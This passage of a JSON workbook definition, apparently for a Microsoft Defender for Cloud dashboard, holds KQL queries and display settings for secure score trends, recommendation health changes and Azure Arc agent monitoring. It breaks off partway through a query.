"4f3a03fd-9968-4ee7-b6bc-d04d3bbe14a8", - "version": "KqlParameterItem/1.0", - "name": "TimeRange", - "label": "Time Range", - "type": 4, - "description": "Filter the data of this report to one of these predefined time ranges", - "isRequired": true, - "value": { - "durationMs": 2592000000 - }, - "typeSettings": { - "selectableValues": [ - { - "durationMs": 259200000 - }, - { - "durationMs": 604800000 - }, - { - "durationMs": 1209600000 - }, - { - "durationMs": 2419200000 - }, - { - "durationMs": 2592000000 - } - ], - "allowCustom": true - } - }, - { - "id": "0117bdc3-a4e2-476b-b7cc-3d1f486e67cf", - "version": "KqlParameterItem/1.0", - "name": "ErrorHandle", - "type": 1, - "query": "let MissingTable = view () { print isMissing=1 };\r\nunion isfuzzy=true MissingTable, (SecureScores | getschema | summarize c=count() | project isMissing=iff(c > 0, 0, 1))\r\n| top 1 by isMissing asc", - "crossComponentResources": [ - "{Workspace}" - ], - "isHiddenWhenLocked": true, - "queryType": 0, - "resourceType": "microsoft.operationalinsights/workspaces" - } - ], - "style": "above", - "queryType": 0, - "resourceType": "microsoft.operationalinsights/workspaces" - }, - "name": "Parameters" - }, - { - "type": 12, - "content": { - "version": "NotebookGroup/1.0", - "groupType": "editable", - "items": [ - { - "type": 1, - "content": { - "json": "  Current score trends per subscription (not affected by the time range parameter)\r\n" - }, - "customWidth": "50", - "name": "text - 3" - }, - { - "type": 1, - "content": { - "json": "  Aggregated score for selected subscriptions over time\r\n" - }, - "customWidth": "50", - "name": "text - 4" - }, - { - "type": 3, - "content": { - "version": "KqlItem/1.0", - "query": "//Current score trends per subscription (show current, 7-day change from the current score as %, 30-day change from the current score as %)\r\nlet startOfToday = startofday(now()); \r\nlet offsetWeek = 6d; \r\nlet offsetMonth = 29d; \r\nlet lookbackDurationWeek = 14d; \r\nlet lookbackDurationMonth = 45d; \r\nlet endTimeWeek = startOfToday - offsetWeek; \r\nlet startTimeWeek = endTimeWeek - lookbackDurationWeek; \r\nlet endTimeMonth = startOfToday - offsetMonth; \r\nlet startTimeMonth = endTimeMonth - lookbackDurationMonth; \r\nSecureScores \r\n| extend Day = startofday(TimeGenerated) \r\n| summarize arg_max(TimeGenerated, *) by Day, SecureScoresSubscriptionId \r\n| summarize arg_max(Day, *) by SecureScoresSubscriptionId \r\n| join kind = fullouter( \r\n SecureScores \r\n | extend Day = startofday(TimeGenerated) \r\n | where TimeGenerated > startTimeWeek and TimeGenerated <= endTimeWeek \r\n | summarize arg_max(TimeGenerated, *) by SecureScoresSubscriptionId \r\n | project OldScoreSevenDays = PercentageScore, SecureScoresSubscriptionId \r\n ) \r\n on SecureScoresSubscriptionId \r\n| join kind = fullouter( \r\n SecureScores \r\n | extend Day = startofday(TimeGenerated) \r\n | where TimeGenerated > startTimeMonth and TimeGenerated <= endTimeMonth \r\n | summarize arg_max(TimeGenerated, *) by SecureScoresSubscriptionId \r\n | project OldMonthScore = PercentageScore, SecureScoresSubscriptionId \r\n ) \r\n on SecureScoresSubscriptionId \r\n| extend DiffSevenDays = tostring(((PercentageScore - OldScoreSevenDays) / OldScoreSevenDays) * 100) \r\n| extend DiffSevenDays = iff(isempty(DiffSevenDays), \"\", DiffSevenDays) \r\n| extend DiffMonth = tostring(((PercentageScore - OldMonthScore) / OldMonthScore) * 100) \r\n| extend DiffMonth = iff(isempty(DiffMonth), \"\", DiffMonth) \r\n| project SecureScoresSubscriptionId, CurrentScore = PercentageScore * 100, todouble(DiffSevenDays), todouble(DiffMonth)", - "size": 0, - "noDataMessage": "No data available. Check your continuous export configuration for the selected workspaces.", - "exportFieldName": "SecureScoresSubscriptionId", - "exportParameterName": "selectedSubscription", - "exportDefaultValue": "All", - "queryType": 0, - "resourceType": "microsoft.operationalinsights/workspaces", - "crossComponentResources": [ - "{Workspace}" - ], - "gridSettings": { - "formatters": [ - { - "columnMatch": "SecureScoresSubscriptionId", - "formatter": 15, - "formatOptions": { - "linkTarget": null, - "showIcon": true, - "customColumnWidthSetting": "25ch" - } - }, - { - "columnMatch": "CurrentScore", - "formatter": 4, - "formatOptions": { - "min": 0, - "max": 100, - "palette": "redGreen", - "customColumnWidthSetting": "20ch" - }, - "numberFormat": { - "unit": 1, - "options": { - "style": "decimal", - "useGrouping": false, - "maximumSignificantDigits": 2 - } - } - }, - { - "columnMatch": "DiffSevenDays", - "formatter": 18, - "formatOptions": { - "thresholdsOptions": "icons", - "thresholdsGrid": [ - { - "operator": "<", - "thresholdValue": "0", - "representation": "trenddown", - "text": "{0}{1}" - }, - { - "operator": ">", - "thresholdValue": "0", - "representation": "trendup", - "text": "{0}{1}" - }, - { - "operator": "is Empty", - "thresholdValue": "0", - "representation": "Normal", - "text": "N/A" - }, - { - "operator": "Default", - "thresholdValue": null, - "representation": "Blank", - "text": "{0}{1}" - } - ], - "customColumnWidthSetting": "20ch" - }, - "numberFormat": { - "unit": 1, - "options": { - "style": "decimal", - "useGrouping": false, - "maximumSignificantDigits": 2 - } - } - }, - { - "columnMatch": "DiffMonth", - "formatter": 18, - "formatOptions": { - "thresholdsOptions": "icons", - "thresholdsGrid": [ - { - "operator": "<", - "thresholdValue": "0", - "representation": "trenddown", - "text": "{0}{1}" - }, - { - "operator": ">", - "thresholdValue": "0", - "representation": "trendup", - "text": "{0}{1}" - }, - { - "operator": "is Empty", - "thresholdValue": "0", - "representation": "Normal", - "text": "N/A" - }, - { - "operator": "Default", - "thresholdValue": null, - "representation": "Blank", - "text": "{0}{1}" - } - ], - "customColumnWidthSetting": "20ch" - }, - "numberFormat": { - "unit": 1, - "options": { - "style": "decimal", - "useGrouping": false, - "maximumSignificantDigits": 2 - } - } - } - ], - "rowLimit": 500, - "sortBy": [ - { - "itemKey": "$gen_link_SecureScoresSubscriptionId_0", - "sortOrder": 1 - } - ], - "labelSettings": [ - { - "columnId": "SecureScoresSubscriptionId", - "label": "Subscription name" - }, - { - "columnId": "CurrentScore", - "label": "Current score %" - }, - { - "columnId": "DiffSevenDays", - "label": "7-day change" - }, - { - "columnId": "DiffMonth", - "label": "30-day change" - } - ] - }, - "sortBy": [ - { - "itemKey": "$gen_link_SecureScoresSubscriptionId_0", - "sortOrder": 1 - } - ] - }, - "customWidth": "50", - "showPin": true, - "name": "ScoreTrends" - }, - { - "type": 3, - "content": { - "version": "KqlItem/1.0", - "query": "//Aggregated score for all subscriptions over time\r\nSecureScores\r\n| where '{selectedSubscription}' == 'All' or SecureScoresSubscriptionId == '{selectedSubscription}'\r\n| where MaxScore>0\r\n| extend subscriptionScore = CurrentScore/MaxScore \r\n| extend subScoreXsubWeight = subscriptionScore*Weight \r\n| extend Day = startofday(TimeGenerated) \r\n| summarize upperValue = sum(subScoreXsubWeight), underValue = sum(todouble(Weight)) by Day\r\n| extend OverallScore = 100*((upperValue)/(underValue))\r\n| project OverallScore, Day", - "size": 0, - "aggregation": 5, - "showAnnotations": true, - "noDataMessage": "No data available. Check your continuous export configuration for the selected workspaces.", - "timeContext": { - "durationMs": 2592000000 - }, - "timeContextFromParameter": "TimeRange", - "timeBrushParameterName": "TimeRange", - "timeBrushExportOnlyWhenBrushed": true, - "queryType": 0, - "resourceType": "microsoft.operationalinsights/workspaces", - "crossComponentResources": [ - "{Workspace}" - ], - "visualization": "timechart", - "chartSettings": { - "seriesLabelSettings": [ - { - "seriesName": "overallScore", - "label": "Overall Score", - "color": "lightBlue" - } - ], - "ySettings": { - "min": 0, - "max": 100 - } - } - }, - "customWidth": "50", - "showPin": true, - "name": "ScoreOvertime" - } - ], - "exportParameters": true - }, - "conditionalVisibilities": [ - { - "parameterName": "Workspace", - "comparison": "isNotEqualTo" - }, - { - "parameterName": "ErrorHandle", - "comparison": "isNotEqualTo", - "value": "1" - } - ], - "name": "SecureScore" - }, - { - "type": 12, - "content": { - "version": "NotebookGroup/1.0", - "groupType": "editable", - "items": [ - { - "type": 1, - "content": { - "json": "  Top recommendations with recent increase in unhealthy resources\r\n
\r\n       Recommendations with the most resources that have become unhealthy in the periods shown" - }, - "customWidth": "50", - "name": "UnhealthyRecommendations" - }, - { - "type": 1, - "content": { - "json": "  Security controls scores over time (weekly)\r\n\r\n\r\n" - }, - "customWidth": "50", - "name": "text - 3" - }, - { - "type": 3, - "content": { - "version": "KqlItem/1.0", - "query": "//Top recommendations with recent increase in unhealthy resources\r\nSecurityRecommendation\r\n| extend SubscriptionId = iff(AssessedResourceId==\"N/A\", split(url_decode(RecommendationLink),'/')[9], split(AssessedResourceId, '/')[2])\r\n| where '{selectedSubscription}' == 'All' or SubscriptionId == '{selectedSubscription}'\r\n| where RecommendationState =~ \"Unhealthy\"\r\n| summarize UnhealthyAssessedResources = dcount(AssessedResourceId),RecommendationName = any(RecommendationName) by RecommendationId\r\n| project RecommendationName, UnhealthyAssessedResources\r\n| sort by UnhealthyAssessedResources desc\r\n| take 10", - "size": 0, - "noDataMessage": "No data available. Check your continuous export configuration for the selected workspaces.", - "timeContext": { - "durationMs": 2592000000 - }, - "timeContextFromParameter": "TimeRange", - "queryType": 0, - "resourceType": "microsoft.operationalinsights/workspaces", - "crossComponentResources": [ - "{Workspace}" - ], - "visualization": "table", - "gridSettings": { - "formatters": [ - { - "columnMatch": "RecommendationName", - "formatter": 0, - "formatOptions": { - "customColumnWidthSetting": "70ch" - }, - "numberFormat": { - "unit": 0, - "options": { - "style": "decimal", - "useGrouping": false - } - }, - "tooltipFormat": { - "tooltip": "View recommendation '{0}'" - } - }, - { - "columnMatch": "UnhealthyAssessedResources", - "formatter": 4, - "formatOptions": { - "min": 0, - "palette": "blue", - "compositeBarSettings": { - "labelText": "", - "columnSettings": [] - }, - "customColumnWidthSetting": "25ch" - } - }, - { - "columnMatch": "RecommendationId", - "formatter": 5 - } - ], - "labelSettings": [ - { - "columnId": "RecommendationName", - "label": "Recommendation name" - }, - { - "columnId": "UnhealthyAssessedResources", - "label": "Unhealthy count" - } - ] - }, - "tileSettings": { - "showBorder": false, - "titleContent": { - "columnMatch": "RecommendationName", - "formatter": 1 - }, - "leftContent": { - "columnMatch": "UnhealthyCount", - "formatter": 12, - "formatOptions": { - "palette": "auto" - }, - "numberFormat": { - "unit": 17, - "options": { - "maximumSignificantDigits": 3, - "maximumFractionDigits": 2 - } - } - } - }, - "graphSettings": { - "type": 0, - "topContent": { - "columnMatch": "RecommendationName", - "formatter": 1 - }, - "centerContent": { - "columnMatch": "UnhealthyCount", - "formatter": 1, - "numberFormat": { - "unit": 17, - "options": { - "maximumSignificantDigits": 3, - "maximumFractionDigits": 2 - } - } - } - } - }, - "customWidth": "50", - "name": "query - 7" - }, - { - "type": 3, - "content": { - "version": "KqlItem/1.0", - "query": "//Security controls score over time (weekly) \r\nlet subscriptionsWeight = \r\n SecureScores\r\n | where '{selectedSubscription}' == 'All' or SecureScoresSubscriptionId == '{selectedSubscription}'\r\n | summarize arg_max(TimeGenerated, *) by SecureScoresSubscriptionId \r\n | project SecureScoresSubscriptionId, SubscriptionWeight = Weight; \r\nSecureScoreControls \r\n| where MaxScore > 0\r\n| where IsSnapshot == true\r\n| extend Week = startofweek(TimeGenerated) \r\n| summarize arg_max(TimeGenerated, *) by SecureScoresSubscriptionId, ControlId, Week \r\n| join kind=inner(\r\n subscriptionsWeight\r\n ) on SecureScoresSubscriptionId \r\n| extend WeightedControlScore = PercentageScore * SubscriptionWeight \r\n| summarize WeightedScoreAvg = sum(WeightedControlScore)/sum(SubscriptionWeight)*100, ControlName = any(ControlName) by ControlId, Week\r\n| order by WeightedScoreAvg desc", - "size": 0, - "aggregation": 5, - "showAnnotations": true, - "noDataMessage": "No data available. Check your continuous export configuration for the selected workspaces.", - "timeContext": { - "durationMs": 2592000000 - }, - "timeContextFromParameter": "TimeRange", - "queryType": 0, - "resourceType": "microsoft.operationalinsights/workspaces", - "crossComponentResources": [ - "{Workspace}" - ], - "visualization": "timechart", - "graphSettings": { - "type": 0, - "topContent": { - "columnMatch": "ControlId", - "formatter": 1 - }, - "centerContent": { - "columnMatch": "WeightedAvgPerControl", - "formatter": 1, - "numberFormat": { - "unit": 17, - "options": { - "maximumSignificantDigits": 3, - "maximumFractionDigits": 2 - } - } - } - }, - "chartSettings": { - "group": "ControlName", - "createOtherGroup": 0, - "showLegend": true, - "ySettings": { - "numberFormatSettings": { - "unit": 1, - "options": { - "style": "decimal", - "useGrouping": true - } - }, - "min": 0, - "max": 100 - } - } - }, - "customWidth": "50", - "name": "Controls" - } - ] - }, - "conditionalVisibilities": [ - { - "parameterName": "Workspace", - "comparison": "isNotEqualTo" - }, - { - "parameterName": "ErrorHandle", - "comparison": "isNotEqualTo", - "value": "1" - } - ], - "name": "group - 8" - }, - { - "type": 12, - "content": { - "version": "NotebookGroup/1.0", - "groupType": "editable", - "items": [ - { - "type": 1, - "content": { - "json": "  Resources changed over time\r\n
\r\n       Select a recommendation to see its changes" - }, - "name": "text - 2" - }, - { - "type": 3, - "content": { - "version": "KqlItem/1.0", - "query": "//Recommendations changes over time (count how many resources have been changed to unhealthy, heathy, and not applicable, per recommendation) \r\nlet unhealthy = SecurityRecommendation\r\n| extend SubscriptionId = iff(AssessedResourceId==\"N/A\", split(url_decode(RecommendationLink),'/')[9], split(AssessedResourceId, '/')[2])\r\n| where '{selectedSubscription}' == 'All' or SubscriptionId == '{selectedSubscription}'\r\n| where RecommendationState == 'Unhealthy'\r\n| where isnotempty(RecommendationId) and isnotempty(RecommendationName) \r\n| summarize arg_max(TimeGenerated, *) by RecommendationId, AssessedResourceId;\r\nlet healthy = SecurityRecommendation\r\n| extend SubscriptionId = iff(AssessedResourceId==\"N/A\", split(url_decode(RecommendationLink),'/')[9], split(AssessedResourceId, '/')[2])\r\n| where '{selectedSubscription}' == 'All' or SubscriptionId == '{selectedSubscription}'\r\n| where RecommendationState == 'Healthy' \r\n| where isnotempty(RecommendationId) and isnotempty(RecommendationName) \r\n| summarize arg_max(TimeGenerated, *) by RecommendationId, AssessedResourceId;\r\nlet notApplicable = SecurityRecommendation\r\n| extend SubscriptionId = iff(AssessedResourceId==\"N/A\", split(url_decode(RecommendationLink),'/')[9], split(AssessedResourceId, '/')[2])\r\n| where '{selectedSubscription}' == 'All' or SubscriptionId == '{selectedSubscription}'\r\n| where RecommendationState == 'NotApplicable' \r\n| where isnotempty(RecommendationId) and isnotempty(RecommendationName) \r\n| summarize arg_max(TimeGenerated, *) by RecommendationId, AssessedResourceId; \r\nlet notUnhealthy = SecurityRecommendation\r\n| extend SubscriptionId = iff(AssessedResourceId==\"N/A\", split(url_decode(RecommendationLink),'/')[9], split(AssessedResourceId, '/')[2])\r\n| where '{selectedSubscription}' == 'All' or SubscriptionId == '{selectedSubscription}'\r\n| where RecommendationState !~ 'Unhealthy' \r\n| where isnotempty(RecommendationId) and isnotempty(RecommendationName) \r\n| summarize arg_max(TimeGenerated, *) by RecommendationId, AssessedResourceId; \r\nlet notHealthy = SecurityRecommendation\r\n| extend SubscriptionId = iff(AssessedResourceId==\"N/A\", split(url_decode(RecommendationLink),'/')[9], split(AssessedResourceId, '/')[2])\r\n| where '{selectedSubscription}' == 'All' or SubscriptionId == '{selectedSubscription}'\r\n| where RecommendationState !~ 'Healthy'\r\n| where isnotempty(RecommendationId) and isnotempty(RecommendationName) \r\n| summarize arg_max(TimeGenerated, *) by RecommendationId, AssessedResourceId; \r\nlet notNotApplicable = SecurityRecommendation\r\n| extend SubscriptionId = iff(AssessedResourceId==\"N/A\", split(url_decode(RecommendationLink),'/')[9], split(AssessedResourceId, '/')[2])\r\n| where '{selectedSubscription}' == 'All' or SubscriptionId == '{selectedSubscription}'\r\n| where RecommendationState !~ 'NotApplicable' \r\n| where isnotempty(RecommendationId) and isnotempty(RecommendationName) \r\n| summarize arg_max(TimeGenerated, *) by RecommendationId, AssessedResourceId; \r\nlet notHealthyToHealthy = \r\n notHealthy \r\n | join (\r\n healthy\r\n ) on RecommendationId, AssessedResourceId \r\n | where TimeGenerated < TimeGenerated1 \r\n | summarize ToHealthyCount = count(), RecommendationName=any(RecommendationName) by RecommendationId;\r\nlet notUnhealthyToUnhealthy = \r\n notUnhealthy \r\n | join ( \r\n unhealthy\r\n ) on RecommendationId, AssessedResourceId \r\n | where TimeGenerated < TimeGenerated1 \r\n | summarize ToUnhealthyCount = count(), RecommendationName=any(RecommendationName) by RecommendationId;\r\nlet notNotApplicableToNotApplicable = \r\n notNotApplicable \r\n | join (\r\n notApplicable\r\n ) on RecommendationId, AssessedResourceId \r\n | where TimeGenerated < TimeGenerated1 \r\n | summarize ToNotApplicableCount = count(), RecommendationName=any(RecommendationName) by RecommendationId;\r\n// Union \r\nunion notHealthyToHealthy, notUnhealthyToUnhealthy, notNotApplicableToNotApplicable\r\n| summarize RecommendationName=any(RecommendationName), ToUnhealthyCount = sum(ToUnhealthyCount), ToHealthyCount = sum(ToHealthyCount), ToNotApplicableCount = sum(ToNotApplicableCount) by RecommendationId\r\n| order by ToUnhealthyCount desc", - "size": 0, - "noDataMessage": "No data available. Check your continuous export configuration for the selected workspaces.", - "timeContext": { - "durationMs": 2592000000 - }, - "timeContextFromParameter": "TimeRange", - "exportedParameters": [ - { - "fieldName": "RecommendationId", - "parameterName": "RecommendationId" - }, - { - "fieldName": "RecommendationName", - "parameterName": "RecommendationName", - "parameterType": 1 - } - ], - "queryType": 0, - "resourceType": "microsoft.operationalinsights/workspaces", - "crossComponentResources": [ - "{Workspace}" - ], - "gridSettings": { - "formatters": [ - { - "columnMatch": "RecommendationId", - "formatter": 5 - }, - { - "columnMatch": "RecommendationName", - "formatter": 7, - "formatOptions": { - "linkTarget": "Url", - "bladeOpenContext": { - "bladeName": "RecommendationsBlade", - "extensionName": "Microsoft_Azure_Security", - "bladeParameters": [ - { - "name": "assessmentKey", - "source": "column", - "value": "RecommendationId" - } - ] - }, - "customColumnWidthSetting": "100ch" - } - }, - { - "columnMatch": "UnhealthyCount", - "formatter": 8, - "formatOptions": { - "palette": "redBright" - } - }, - { - "columnMatch": "HealthyCount", - "formatter": 8, - "formatOptions": { - "palette": "green" - } - }, - { - "columnMatch": "NotApplicableCount", - "formatter": 8, - "formatOptions": { - "palette": "gray" - } - }, - { - "columnMatch": "AssessedResourceId", - "formatter": 13, - "formatOptions": { - "linkTarget": null, - "showIcon": true - } - } - ], - "labelSettings": [ - { - "columnId": "RecommendationName", - "label": "Recommendation name" - }, - { - "columnId": "ToUnhealthyCount", - "label": "To unhealthy" - }, - { - "columnId": "ToHealthyCount", - "label": "To healthy" - }, - { - "columnId": "ToNotApplicableCount", - "label": "To not applicable" - } - ] - }, - "sortBy": [] - }, - "name": "RecommendationStatusChanges" - }, - { - "type": 1, - "content": { - "json": "To view changes over time on a specific recommendation, please select any from the list above.", - "style": "info" - }, - "conditionalVisibility": { - "parameterName": "RecommendationId", - "comparison": "isEqualTo" - }, - "name": "ChangeLogBanner" - }, - { - "type": 3, - "content": { - "version": "KqlItem/1.0", - "query": "let unhealthy = SecurityRecommendation\r\n| extend SubscriptionId = iff(AssessedResourceId==\"N/A\", split(url_decode(RecommendationLink),'/')[9], split(AssessedResourceId, '/')[2])\r\n| where '{selectedSubscription}' == 'All' or SubscriptionId == '{selectedSubscription}'\r\n| where RecommendationState == 'Unhealthy'\r\n| where isnotempty(RecommendationId) and isnotempty(RecommendationName)\r\n| summarize arg_max(TimeGenerated, *) by RecommendationId, AssessedResourceId\r\n| project UnhealthyRecommendationId = RecommendationId, UnhealthyResourceId = AssessedResourceId, UnhealhyTime = TimeGenerated, tostring(SubscriptionId);\r\nlet notApplicable = SecurityRecommendation\r\n| extend SubscriptionId = iff(AssessedResourceId==\"N/A\", split(url_decode(RecommendationLink),'/')[9], split(AssessedResourceId, '/')[2])\r\n| where '{selectedSubscription}' == 'All' or SubscriptionId == '{selectedSubscription}'\r\n| where RecommendationState == 'NotApplicable'\r\n| where isnotempty(RecommendationId) and isnotempty(RecommendationName)\r\n| summarize arg_max(TimeGenerated, *) by RecommendationId, AssessedResourceId\r\n| project NARecommendationId = RecommendationId, NAResourceId = AssessedResourceId, NATime = TimeGenerated, tostring(SubscriptionId);\r\nlet healthy = SecurityRecommendation\r\n| extend SubscriptionId = iff(AssessedResourceId==\"N/A\", split(url_decode(RecommendationLink),'/')[9], split(AssessedResourceId, '/')[2])\r\n| where '{selectedSubscription}' == 'All' or SubscriptionId == '{selectedSubscription}'\r\n| where RecommendationState == 'Healthy'\r\n| where isnotempty(RecommendationId) and isnotempty(RecommendationName)\r\n| summarize arg_max(TimeGenerated, *) by RecommendationId, AssessedResourceId\r\n| project HealthyRecommendationId = RecommendationId, HealthyResourceId = AssessedResourceId, HealhyTime = TimeGenerated, tostring(SubscriptionId);\r\nlet NotHealthy = SecurityRecommendation\r\n| extend SubscriptionId = iff(AssessedResourceId==\"N/A\", split(url_decode(RecommendationLink),'/')[9], split(AssessedResourceId, '/')[2])\r\n| where '{selectedSubscription}' == 'All' or SubscriptionId == '{selectedSubscription}'\r\n| where RecommendationState !~ 'Healthy'\r\n| where isnotempty(RecommendationId) and isnotempty(RecommendationName)\r\n| summarize arg_max(TimeGenerated, *) by RecommendationId, AssessedResourceId;\r\nlet NotUnhealthy = SecurityRecommendation\r\n| extend SubscriptionId = iff(AssessedResourceId==\"N/A\", split(url_decode(RecommendationLink),'/')[9], split(AssessedResourceId, '/')[2])\r\n| where '{selectedSubscription}' == 'All' or SubscriptionId == '{selectedSubscription}'\r\n| where RecommendationState !~ 'Unhealthy'\r\n| where isnotempty(RecommendationId) and isnotempty(RecommendationName)\r\n| summarize arg_max(TimeGenerated, *) by RecommendationId, AssessedResourceId;\r\nlet NotNotApplicable = SecurityRecommendation\r\n| extend SubscriptionId = iff(AssessedResourceId==\"N/A\", split(url_decode(RecommendationLink),'/')[9], split(AssessedResourceId, '/')[2])\r\n| where '{selectedSubscription}' == 'All' or SubscriptionId == '{selectedSubscription}'\r\n| where RecommendationState !~ 'NotApplicable'\r\n| where isnotempty(RecommendationId) and isnotempty(RecommendationName)\r\n| summarize arg_max(TimeGenerated, *) by RecommendationId, AssessedResourceId;\r\nlet 1_to_Healthy = \r\n NotHealthy\r\n | extend orignalState = RecommendationState\r\n | join healthy on $left.RecommendationId == $right.HealthyRecommendationId, $left.AssessedResourceId == $right.HealthyResourceId\r\n | where TimeGenerated < HealhyTime\r\n | extend update = \"To healthy\"\r\n | project RecommendationId, RecommendationName, Description, OriginalState = RecommendationState, update, TimeGenerated, RecommendationSeverity, tostring(SubscriptionId), AssessedResourceId, RecommendationLink;\r\n//1_to_Healthy\r\nlet 2_to_Unhealthy = \r\n NotUnhealthy\r\n | extend orignalState = RecommendationState\r\n | join unhealthy on $left.RecommendationId == $right.UnhealthyRecommendationId, $left.AssessedResourceId == $right.UnhealthyResourceId\r\n | where TimeGenerated < UnhealhyTime\r\n | extend update = \"To unhealthy\"\r\n | project RecommendationId, RecommendationName, Description, OriginalState = RecommendationState, update, TimeGenerated, RecommendationSeverity, tostring(SubscriptionId), AssessedResourceId, RecommendationLink;\r\n//2_to_Unhealthy\r\nlet 3_to_NotApplicable = \r\n NotNotApplicable\r\n | extend orignalState = RecommendationState\r\n | join notApplicable on $left.RecommendationId == $right.NARecommendationId, $left.AssessedResourceId == $right.NAResourceId\r\n | where TimeGenerated < NATime\r\n | extend update = \"To not applicable\"\r\n | extend NotApplicableReason = iff(isempty(NotApplicableReason), \"NA\", NotApplicableReason)\r\n | project RecommendationId, RecommendationName, Description, OriginalState = RecommendationState, update, TimeGenerated, RecommendationSeverity, tostring(SubscriptionId), AssessedResourceId, RecommendationLink, NotApplicableReason;\r\n// JOIN\r\nunion 1_to_Healthy, 2_to_Unhealthy, 3_to_NotApplicable\r\n| extend FullRecommendationLink = strcat(\"http://\",RecommendationLink)\r\n| extend AssessedResourceId = iff(AssessedResourceId==\"N/A\", extract(\".*onPremiseMachines/(.+)\",1, url_decode(RecommendationLink)), AssessedResourceId)\r\n| project-away RecommendationLink\r\n| where RecommendationId == '{RecommendationId}'", - "size": 0, - "title": "Changes for \"{RecommendationName}\"", - "noDataMessage": "No data available. Check your continuous export configuration for the selected workspaces.", - "timeContext": { - "durationMs": 2592000000 - }, - "timeContextFromParameter": "TimeRange", - "showExportToExcel": true, - "exportToExcelOptions": "all", - "queryType": 0, - "resourceType": "microsoft.operationalinsights/workspaces", - "crossComponentResources": [ - "{Workspace}" - ], - "gridSettings": { - "formatters": [ - { - "columnMatch": "RecommendationId", - "formatter": 5 - }, - { - "columnMatch": "RecommendationName", - "formatter": 5 - }, - { - "columnMatch": "Description", - "formatter": 5 - }, - { - "columnMatch": "SubscriptionId", - "formatter": 15, - "formatOptions": { - "linkTarget": null, - "showIcon": true - } - }, - { - "columnMatch": "NotApplicableReason", - "formatter": 0, - "formatOptions": { - "customColumnWidthSetting": "30ch" - } - }, - { - "columnMatch": "FullRecommendationLink", - "formatter": 7, - "formatOptions": { - "linkTarget": "Url", - "linkLabel": "View", - "linkIsContextBlade": false - } - } - ], - "rowLimit": 1000, - "hierarchySettings": { - "treeType": 1, - "groupBy": [ - "update" - ] - }, - "labelSettings": [ - { - "columnId": "RecommendationName", - "label": "Recommendation name" - }, - { - "columnId": "OriginalState", - "label": "Original state" - }, - { - "columnId": "update", - "label": "Updated state" - }, - { - "columnId": "TimeGenerated", - "label": "Time of change" - }, - { - "columnId": "RecommendationSeverity", - "label": "Severity" - }, - { - "columnId": "SubscriptionId", - "label": "Subscription" - }, - { - "columnId": "AssessedResourceId", - "label": "Resource" - }, - { - "columnId": "NotApplicableReason", - "label": "Reason" - }, - { - "columnId": "FullRecommendationLink", - "label": "View recommendation" - } - ] - }, - "sortBy": [] - }, - "conditionalVisibility": { - "parameterName": "RecommendationId", - "comparison": "isNotEqualTo" - }, - "name": "ChangeLogDetails" - } - ] - }, - "conditionalVisibilities": [ - { - "parameterName": "Workspace", - "comparison": "isNotEqualTo" - }, - { - "parameterName": "ErrorHandle", - "comparison": "isNotEqualTo", - "value": "1" - } - ], - "name": "ChangeLog" - }, - { - "type": 12, - "content": { - "version": "NotebookGroup/1.0", - "groupType": "editable", - "title": "Agent Monitoring", - "items": [ - { - "type": 1, - "content": { - "json": "# Microsoft Defender for Cloud Agent Monitoring\n\nTo consider an Azure Arc-enabled server *monitored* by Microsoft Defender for Cloud it needs to meet the following criteria:\n1. Have the Azure Monitor Agent installed\n2. The Azure Monitor Agent needs to be reporting to its Log Analytics workspace.\n3. The *Microsoft Defender for Cloud for servers* plan needs to be enabled on both, the machine's Azure subscription and the Log Analytics workspace the agent is reporting to.\n\nThis section will help you visualize machines which are protected by Microsoft Defender for Cloud and have an agent installed, but which do not properly report to their workspace." - }, - "name": "text - 1" - }, - { - "type": 1, - "content": { - "json": "Please select one, several, or all Log Analytics workspaces in your environment in the drop down below, so the workbook can access relevant data to visualize.", - "style": "info" - }, - "conditionalVisibility": { - "parameterName": "workspace", - "comparison": "isEqualTo" - }, - "name": "text - 2" - }, - { - "type": 9, - "content": { - "version": "KqlParameterItem/1.0", - "crossComponentResources": [ - "value::all" - ], - "parameters": [ - { - "id": "3d6a9f93-f352-4ed1-b361-fd784a784fff", - "version": "KqlParameterItem/1.0", - "name": "workspace", - "label": "Log Analytics Workspace", - "type": 5, - "isRequired": true, - "multiSelect": true, - "quote": "'", - "delimiter": ",", - "query": "resources\n| where type =~ 'microsoft.operationalinsights/workspaces'\n| project id", - "crossComponentResources": [ - "value::all" - ], - "value": [], - "typeSettings": { - "additionalResourceOptions": [ - "value::all" - ], - "showDefault": false - }, - "timeContext": { - "durationMs": 86400000 - }, - "queryType": 1, - "resourceType": "microsoft.resourcegraph/resources" - } - ], - "style": "pills", - "queryType": 1, - "resourceType": "microsoft.resourcegraph/resources" - }, - "name": "parameters - 0" - } - ], - "exportParameters": true - }, - "name": "group - 0" - }, - { - "type": 11, - "content": { - "version": "LinkItem/1.0", - "style": "tabs", - "links": [ - { - "id": "8666e136-a028-4ed7-9d57-c2f9120e9227", - "cellValue": "SelectedTab", - "linkTarget": "parameter", - "linkLabel": "Overview", - "subTarget": "OverviewTab", - "style": "link" - }, - { - "id": "1d91d475-88d6-47ab-b8ec-7c1be397a31d", - "cellValue": "SelectedTab", - "linkTarget": "parameter", - "linkLabel": "Machines not reporting to LA workspace", - "subTarget": "NotReportingTab", - "style": "link" - }, - { - "id": "491d0551-fb7d-4c2d-8ca2-dc4fb99e128d", - "cellValue": "SelectedTab", - "linkTarget": "parameter", - "linkLabel": "Security status", - "subTarget": "SecurityTab", - "style": "link" - } - ] - }, - "name": "links - 4" - }, - { - "type": 12, - "content": { - "version": "NotebookGroup/1.0", - "groupType": "editable", - "items": [ - { - "type": 1, - "content": { - "json": "## Overview\nIn this section, you see the current status of all Azure Arc-enabled servers connected to your subscriptions and Log Analytics workspaces as selected.\n\nThe first chart shows the Azure Monitor Agent installation status as reported by Microsoft Defender for Cloud.\nIn the second chart, you see the current Azure Monitor Agent reporting status of your machines. Machines that are sending current heartbeat information within the last 15 minutes are considered as *currently reporting*.\nThe third chart shows the status of Azure Defender for Servers across all servers that are protected by Microsoft Defender for Cloud." - }, - "name": "text - 5" - }, - { - "type": 1, - "content": { - "json": "The total number of machines in the dashboards below may vary as the Azure Monitor Agent reporting status dashboard will only show machines that have been reporting within the last 30 days, whereas the other two dashboards will consider machines that are covered by Microsoft Defender for Cloud and have an agent installed. This will include machines that have been powered off for more than 30 days but which have not been deleted.", - "style": "info" - }, - "name": "text - 5" - }, - { - "type": 1, - "content": { - "json": "To see more details, please select **one** value at a time from each of the charts below.", - "style": "info" - }, - "name": "text - 4" - }, - { - "type": 3, - "content": { - "version": "KqlItem/1.0", - "query": "securityresources\n| where type == \"microsoft.security/assessments\"\n // Filter for installedSoftware,installedSoftwareVersions not enabled \n // Filter for 